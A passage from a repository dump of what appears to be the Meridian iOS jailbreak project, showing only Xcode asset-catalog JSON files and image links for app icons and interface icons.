"Icon-App-72x72@2x.png", 127 | "scale" : "2x" 128 | }, 129 | { 130 | "size" : "76x76", 131 | "idiom" : "ipad", 132 | "filename" : "Icon-App-76x76@1x.png", 133 | "scale" : "1x" 134 | }, 135 | { 136 | "size" : "76x76", 137 | "idiom" : "ipad", 138 | "filename" : "Icon-App-76x76@2x.png", 139 | "scale" : "2x" 140 | }, 141 | { 142 | "size" : "83.5x83.5", 143 | "idiom" : "ipad", 144 | "filename" : "Icon-App-83.5x83.5@2x.png", 145 | "scale" : "2x" 146 | }, 147 | { 148 | "size" : "1024x1024", 149 | "idiom" : "ios-marketing", 150 | "filename" : "ItunesArtwork@2x.png", 151 | "scale" : "1x" 152 | } 153 | ], 154 | "info" : { 155 | "version" : 1, 156 | "author" : "xcode" 157 | } 158 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-20x20@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-29x29@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-40x40@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-57x57@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-57x57@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-57x57@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-57x57@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-60x60@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-60x60@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-60x60@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-60x60@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-72x72@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-72x72@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-72x72@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-72x72@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-76x76@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-76x76@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-76x76@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-76x76@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-83.5x83.5@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-App-83.5x83.5@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-Small-50x50@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-Small-50x50@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-Small-50x50@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Icon-Small-50x50@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/ItunesArtwork@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/ItunesArtwork@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "size" : "20x20", 5 | "idiom" : "iphone", 6 | "filename" : "Icon-App-20x20@2x.png", 7 | "scale" : "2x" 8 | }, 9 | { 10 | "size" : "20x20", 11 | "idiom" : "iphone", 12 | "filename" : "Icon-App-20x20@3x.png", 13 | "scale" : "3x" 14 | }, 15 | { 16 | "size" : "29x29", 17 | "idiom" : "iphone", 18 | "filename" : "Icon-App-29x29@1x.png", 19 | "scale" : "1x" 20 | }, 21 | { 22 | "size" : "29x29", 23 | "idiom" : "iphone", 24 | "filename" : "Icon-App-29x29@2x.png", 25 | "scale" : "2x" 26 | }, 27 | { 28 | "size" : "29x29", 29 | "idiom" : "iphone", 30 | "filename" : "Icon-App-29x29@3x.png", 31 | "scale" : "3x" 32 | }, 33 | { 34 | "size" : "40x40", 35 | "idiom" : "iphone", 36 | "filename" : "Icon-App-40x40@2x.png", 37 | "scale" : "2x" 38 | }, 39 | { 40 | "size" : "40x40", 41 | "idiom" : "iphone", 42 | "filename" : "Icon-App-40x40@3x.png", 43 | "scale" : "3x" 44 | }, 45 | { 46 | "size" : "57x57", 47 | "idiom" : "iphone", 48 | "filename" : "Icon-App-57x57@1x.png", 49 | "scale" : "1x" 50 | }, 51 | { 52 | "size" : "57x57", 53 | "idiom" : "iphone", 54 | "filename" : "Icon-App-57x57@2x.png", 55 | "scale" : "2x" 56 | }, 57 | { 58 | "size" : "60x60", 59 | "idiom" : "iphone", 60 | "filename" : "Icon-App-60x60@2x.png", 61 | "scale" : "2x" 62 | }, 63 | { 64 | "size" : "60x60", 65 | "idiom" : "iphone", 66 | "filename" : "Icon-App-60x60@3x.png", 67 | "scale" : "3x" 68 | }, 69 | { 70 | "size" : "20x20", 71 | "idiom" : "ipad", 72 | "filename" : "Icon-App-20x20@1x.png", 73 | "scale" : "1x" 74 | }, 75 | { 76 | "size" : "20x20", 77 | "idiom" : "ipad", 78 | "filename" : "Icon-App-20x20@2x.png", 79 | "scale" : "2x" 80 | }, 81 | { 82 | "size" : "29x29", 83 | "idiom" : "ipad", 84 | "filename" : "Icon-App-29x29@1x.png", 85 | "scale" : "1x" 86 | }, 87 | { 88 | "size" : "29x29", 89 | "idiom" : "ipad", 90 | "filename" : "Icon-App-29x29@2x.png", 91 | "scale" : "2x" 92 | }, 93 | { 94 | "size" : "40x40", 95 | "idiom" : "ipad", 96 | "filename" : "Icon-App-40x40@1x.png", 97 | "scale" : "1x" 98 | }, 99 | { 100 | "size" : "40x40", 101 | "idiom" : "ipad", 102 | "filename" : "Icon-App-40x40@2x.png", 103 | "scale" : "2x" 104 | }, 105 | { 106 | "size" : "50x50", 107 | "idiom" : "ipad", 108 | "filename" : "Icon-Small-50x50@1x.png", 109 | "scale" : "1x" 110 | }, 111 | { 112 | "size" : "50x50", 113 | "idiom" : "ipad", 114 | "filename" : "Icon-Small-50x50@2x.png", 115 | "scale" : "2x" 116 | }, 117 | { 118 | "size" : "72x72", 119 | "idiom" : "ipad", 120 | "filename" : "Icon-App-72x72@1x.png", 121 | "scale" : "1x" 122 | }, 123 | { 124 | "size" : "72x72", 125 | "idiom" : "ipad", 126 | "filename" : "Icon-App-72x72@2x.png", 127 | "scale" : "2x" 128 | }, 129 | { 130 | "size" : "76x76", 131 | "idiom" : "ipad", 132 | "filename" : "Icon-App-76x76@1x.png", 133 | "scale" : "1x" 134 | }, 135 | { 136 | "size" : "76x76", 137 | "idiom" : "ipad", 138 | "filename" : "Icon-App-76x76@2x.png", 139 | "scale" : "2x" 140 | }, 141 | { 142 | "size" : "83.5x83.5", 143 | "idiom" : "ipad", 144 | "filename" : "Icon-App-83.5x83.5@2x.png", 145 | "scale" : "2x" 146 | }, 147 | { 148 | "size" : "1024x1024", 149 | "idiom" : "ios-marketing", 150 | "filename" : "ItunesArtwork@2x.png", 151 | "scale" : "1x" 152 | } 153 | ], 154 | "info" : { 155 | "version" : 1, 156 | "author" : "xcode" 157 | } 158 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-20x20@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-29x29@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-40x40@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-57x57@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-57x57@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-57x57@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-57x57@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-60x60@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-60x60@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-60x60@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-60x60@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-72x72@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-72x72@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-72x72@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-72x72@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-76x76@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-76x76@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-76x76@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-76x76@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-83.5x83.5@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-App-83.5x83.5@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-Small-50x50@1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-Small-50x50@1x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-Small-50x50@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Icon-Small-50x50@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/ItunesArtwork@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/ItunesArtwork@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "version" : 1, 4 | "author" : "xcode" 5 | } 6 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "version" : 1, 4 | "author" : "xcode" 5 | } 6 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "archive@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "archive@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/archive@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/archive@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/archive@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/archive@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "console@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "console@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/console@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/console@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/console@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/console@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "gears@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "gears@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/gears@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/gears@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/gears@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/gears@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "hammer@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "hammer@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/hammer@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/hammer@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/hammer@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/hammer@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "handshake@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "handshake@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/handshake@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/handshake@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/handshake@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/handshake@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "jail@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "jail@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/jail@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/jail@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/jail@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/jail@3x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "scale" : "1x" 6 | }, 7 | { 8 | "idiom" : "universal", 9 | "filename" : "ladybug@2x.png", 10 | "scale" : "2x" 11 | }, 12 | { 13 | "idiom" : "universal", 14 | "filename" : "ladybug@3x.png", 15 | "scale" : "3x" 16 | } 17 | ], 18 | "info" : { 19 | "version" : 1, 20 | "author" : "xcode" 21 | }, 22 | "properties" : { 23 | "template-rendering-intent" : "template" 24 | } 25 | } -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/ladybug@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/ladybug@2x.png -------------------------------------------------------------------------------- /Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/ladybug@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LukeZGD/MeridianFix/59297044ccd93846c1de118b6aa044e4cd5ff060/Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/ladybug@3x.png -------------------------------------------------------------------------------- 